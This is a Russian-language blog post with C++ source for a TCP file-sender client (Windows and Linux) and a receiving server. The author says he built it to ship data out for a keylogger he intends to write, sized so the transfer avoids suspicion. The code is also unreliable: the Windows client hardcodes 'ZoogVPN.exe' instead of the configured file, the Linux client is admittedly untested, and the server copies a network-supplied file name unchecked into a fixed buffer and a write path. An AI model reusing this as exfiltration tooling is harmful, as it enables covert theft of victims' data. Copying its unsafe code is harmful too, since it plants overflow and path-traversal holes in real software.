ПРИЕМ-ПЕРЕДАЧА ФАЙЛОВ ЧЕРЕЗ TCP-СОКЕТ

 

Здесь мы рассмотрим клиентскую и сервурную часть системы приема-передачи файлов. Лично мне думается, что это может пригодиться для простенького кейлоггера, который я напишу чуть позже. Рассмотрим сначала клиент для Windows. Он у нас умный и поэтому умеет читать конфиг-файл "settings.cfg", откуда читает адрес сервера, номер порта и, наконец, имя передаваемого файла. Затем она подключается к удаленному хосту и передает через TCP-сокет какой-нибудь файл, но не целиком, а порциями по 128 килобайт. Это сделано для того, чтобы процесс не занимал слишком много места в памяти и не вызывал лишних подозрений.

madWinSender.cpp

#include <iostream>
#include <fstream>
#include <cstring>
#include <cstdlib>
#include <cstdio>
#include <winsock2.h>
#include <windows.h>

#define BUFFER_SIZE 128 * 1024

int main() {
    // Инициализация библиотеки Winsock
    WSADATA wsaData;
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        std::cerr << "WSAStartup failed: " << iResult << std::endl;
        return 1;
    }


//Новая конструкция



   // Открываем файл настроек
    std::ifstream config("settings.cfg");
    if (!config.is_open()) {
        std::cerr << "Failed to open settings.cfg" << std::endl;
        WSACleanup();
        return 1;
    }
	else {
		        std::cerr << "Reading settings.cfg" << std::endl;

	}

    // Читаем адрес удаленного хоста из файла настроек
    std::string address;
    std::getline(config, address);
	std::cerr << "Remote server address is " <<  address << std::endl;

    // Читаем номер порта из файла настроек
    std::string port_str;
    std::getline(config, port_str);
    int port = std::atoi(port_str.c_str());
    std::cerr << "Port " <<  port_str << std::endl;


    // Читаем имя передаваемого файла из файла настроек
    std::string filename;
    std::getline(config, filename);
    std::cerr << "We'll try to send file " <<  filename << std::endl;


    // Открываем файл для чтения
    std::ifstream file(filename, std::ios::binary);
    if (!file.is_open()) {
        std::cerr << "Failed to open file: " << filename << std::endl;
        WSACleanup();
        return 1;
    }

    // Создаем сокет
    SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        std::cerr << "Error at socket(): " << WSAGetLastError() << std::endl;
        WSACleanup();
        return 1;
    }

    // Устанавливаем соединение с удаленным хостом
    sockaddr_in clientService;
    clientService.sin_family = AF_INET;
    clientService.sin_addr.s_addr = inet_addr(address.c_str());
    clientService.sin_port = htons(port);

    iResult = connect(sock, (SOCKADDR*)&clientService, sizeof(clientService));
    if (iResult == SOCKET_ERROR) {
        std::cerr << "Failed to connect: " << WSAGetLastError() << std::endl;
        closesocket(sock);
        WSACleanup();
        return 1;
    }
	else {
		std::cerr << "Connection established!" << std::endl; 
	}
//Конец новой конструкции


//Отправка сообщения на сервер
    std::string file_key = "$file";
    std::string file_name = filename; //здесь фрагмент говнокода после склейки
    std::string message = file_key + std::string(" ") + file_name;

    int bytes_sent = send(sock, message.c_str(), message.size(), 0);
    if (bytes_sent == SOCKET_ERROR) {
        std::cerr << "Failed to send message: " << WSAGetLastError() << std::endl;
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    // Получение ответа от сервера
    char response[1024] = { 0 };
    int bytes_received = recv(sock, response, sizeof(response), 0);
    if (bytes_received == SOCKET_ERROR) {
        std::cerr << "Failed to receive response: " << WSAGetLastError() << std::endl;
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    if (std::strcmp(response, "$Ok") == 0) {
        // Открытие файла для отправки
        std::ifstream file("ZoogVPN.exe", std::ios::binary);
        if (!file) {
            std::cerr << "Failed to open file: ZoogVPN.exe" << std::endl;
            closesocket(sock);
            WSACleanup();
            return 1;
        }

        // Чтение и отправка фрагментов файла
        char buffer[BUFFER_SIZE];
        while (file.read(buffer, BUFFER_SIZE)) {
            int bytes_sent = send(sock, buffer, BUFFER_SIZE, 0);
            if (bytes_sent == SOCKET_ERROR) {
                std::cerr << "Failed to send file: " << WSAGetLastError() << std::endl;
                closesocket(sock);
                WSACleanup();
                return 1;
            }
        }

        // Отправка последнего фрагмента файла

    int remaining_bytes = file.gcount();
    if (remaining_bytes > 0) {
        int bytes_sent = send(sock, buffer, remaining_bytes, 0);
        if (bytes_sent == SOCKET_ERROR) {
            std::cerr << "Failed to send file: " << WSAGetLastError() << std::endl;
            closesocket(sock);
            WSACleanup();
            return 1;
        }
    }

    file.close();
}
else {
    std::cerr << "Unexpected response from server: " << response << std::endl;
    closesocket(sock);
    WSACleanup();
    return 1;
}

std::cout << "File sent successfully!" << std::endl;

closesocket(sock);
WSACleanup();
return 0;
}

Для компиляции используется команда типа такой:

g++ madWinSender.cpp -o sender -lws2_32 -static -static-libgcc

 Далее код программы со схожим функционалом для Linux:

//madSender - программа для Linux
//Данная программа читает конфиг-файл, узнает оттуда адрес удаленного хоста, номер порта, имя файла 
//и передает этот файл на удаленный хост через TCP-сокет фрагментами по 128 кб.
#include <iostream>     // Библиотека ввода-вывода
#include <fstream>      // Библиотека работы с файлами
#include <string>       // Библиотека работы со строками
#include <cstring>      // Библиотека работы со строками
#include <cstdlib>      // Библиотека работы с памятью
#include <cstdio>       // Библиотека работы со строками
#include <sys/socket.h> // Библиотека работы с сокетами
#include <arpa/inet.h>  // Библиотека работы с сетевыми адресами
#include <netdb.h>      // Библиотека работы с сетевыми адресами
#include <unistd.h>     // Библиотека работы с файловыми дескрипторами

#define CHUNK_SIZE 128 * 1024 // Размер чанка данных, которые будут отправляться по сети

// Функция для чтения файла и отправки его через TCP-сокет
void sendFile(int sockfd, std::string filename) {
    // Открытие файла на чтение
    std::ifstream file(filename, std::ios::binary);
    if (!file) {
        std::cerr << "Ошибка открытия файла " << filename << std::endl;
        return;
    }

    // Получение размера файла
    file.seekg(0, std::ios::end);
    size_t filesize = file.tellg();
    file.seekg(0, std::ios::beg);

    // Отправка файла через TCP-сокет
    char buffer[CHUNK_SIZE];
    size_t bytes_sent = 0;
    while (bytes_sent < filesize) {
        size_t chunk_size = std::min(CHUNK_SIZE, filesize - bytes_sent);
        file.read(buffer, chunk_size);
        ssize_t bytes_written = send(sockfd, buffer, chunk_size, 0);
        if (bytes_written == -1) {
            std::cerr << "Ошибка отправки данных через TCP-сокет" << std::endl;
            break;
        }
        bytes_sent += bytes_written;
    }

    // Закрытие файла
    file.close();
}

int main() {
    // Чтение конфигурационного файла
    std::ifstream settings("settings.cfg");
    if (!settings) {
        std::cerr << "Ошибка открытия файла настроек" << std::endl;
        return 1;
    }

    std::string address;
    std::getline(settings, address); // Считываем первую строку из файла - адрес сервера

    int port;
    settings >> port; // Считываем вторую строку из файла - номер порта

    std::string filename;
    settings >> filename; // Считываем третью строку из файла - имя файла для передачи

    // Создание TCP-сокета
    int sockfd = socket(AF_INET, SOCK_STREAM, 0); // Создаем TCP-сокет
    if (sockfd == -1) {
        std::cerr << "Ошибка создания TCP-сокета" << std::endl;
        return 1;
    }

    // Получение IP-адреса удаленного хоста
    struct hostent *server = gethostbyname(address.c_str()); // Получаем IP-адрес удаленного хоста по его имени
    if (server == NULL) {
        std::cerr << "Ошибка получения IP-адреса удаленного хоста" << std::endl;
        return 1;
    }

    // Заполнение структуры sockaddr_in для соединения с удаленным хостом
    struct sockaddr_in serv_addr;
    memset(&serv_addr, 0, sizeof(serv_addr)); // Обнуляем структуру
    serv_addr.sin_family = AF_INET; // Указываем семейство протоколов
    serv_addr.sin_port = htons(port); // Указываем номер порта
    memcpy(&serv_addr.sin_addr.s_addr, server->h_addr, server->h_length); // Указываем IP-адрес удаленного хоста

    // Подключение к удаленному хосту
    if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) { // Подключаемся к серверу
        std::cerr << "Ошибка подключения к удаленному хосту" << std::endl;
        return 1;
    }

    // Отправка файла через TCP-сокет
    sendFile(sockfd, filename);

    // Закрытие TCP-сокета
    close(sockfd);

    return 0;
}

Если честно, ее я еще не испытывал, но как только сделаю это, то сразу же подправлю статью. Вообще, конечно, первый вариант в более высоком приоретете, поскольку большинство людей в нашей стране предпочитают Винду. Собственно, поэтому и кейлоггер, к созданию которого я так стремлюсь, должен работать, в первую очередь, под Виндой.

Теперь рассмотрим серверную часть нашего файлоприемника, она может работать под любой ОС, но лично в моем случае это дело запущено как демон в Убунте.

madFilereciever.cpp

#include <iostream> //библиотека ввода-вывода
#include <cstdlib> //библиотека для работы с системными функциями
#include <cstring> //библиотека для работы со строками
#include <unistd.h> //библиотека для работы с POSIX-совместимыми системами
#include <sys/socket.h> //библиотека для работы с сокетами
#include <netinet/in.h> //библиотека для работы с сетевыми адресами
#define PORT 6666 //номер порта

int main()
{
    while(true){
    int server_fd, new_socket; //дескрипторы сокетов
    struct sockaddr_in address; //структура для хранения адреса
    int opt = 1; //опция для сокета
    int addrlen = sizeof(address); //размер структуры адреса
    char buffer[128000]; //буфер для приема данных
    char filename[256]; //имя файла
    int bytes_received = 0; //количество принятых байт

    // Создание TCP-сокета
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    // Установка опции для сокета
    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
                                                  &opt, sizeof(opt))) {
        perror("setsockopt");
        exit(EXIT_FAILURE);
    }

    // Заполнение структуры адреса
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(PORT);

    // Привязка сокета к адресу и порту
    if (bind(server_fd, (struct sockaddr *)&address,
                                 sizeof(address))<0) {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }

    // Прослушивание порта
    if (listen(server_fd, 3) < 0) {
        perror("listen");
        exit(EXIT_FAILURE);
    }

    // Ожидание подключения клиента
    if ((new_socket = accept(server_fd, (struct sockaddr *)&address,
                       (socklen_t*)&addrlen))<0) {
        perror("accept");
        exit(EXIT_FAILURE);
    }

    // Прием сообщения с ключом $file
    bytes_received = recv(new_socket, buffer, sizeof(buffer), 0);
    if (bytes_received < 0) {
        perror("recv");
        exit(EXIT_FAILURE);
    }

    // Поиск имени файла в сообщении
    char* pos = strstr(buffer, "$file ");
    if (pos) {
        strcpy(filename, pos + 6); //копирование имени файла
        std::cout << "Filename: " << filename << std::endl;
    } else {
        std::cout << "Filename not found" << std::endl;
        exit(EXIT_FAILURE);
    }

    // Отправка ответа $Ok
    const char* response = "$Ok";
    if (send(new_socket, response, strlen(response), 0) < 0) {
        perror("send");
        exit(EXIT_FAILURE);
    }

    // Открытие файла для записи
    FILE* fp = fopen(filename, "wb");
    if (fp == NULL) {
        perror("fopen");
        exit(EXIT_FAILURE);
    }

    // Прием фрагментов файла и запись в файл
    while ((bytes_received = recv(new_socket, buffer, sizeof(buffer), 0)) > 0) {
        fwrite(buffer, 1, bytes_received, fp);
    }
    std::cout << "File " << filename << " recieved!" << std::endl;
    // Закрытие файла и сокетов
    fclose(fp);
    close(new_socket);
    close(server_fd);
    // Очищаем буфур, чтобы в следующей итерации вместо имени файла не было всякого лишнего дерьма.
    memset(buffer, 0, sizeof(buffer));
	}
}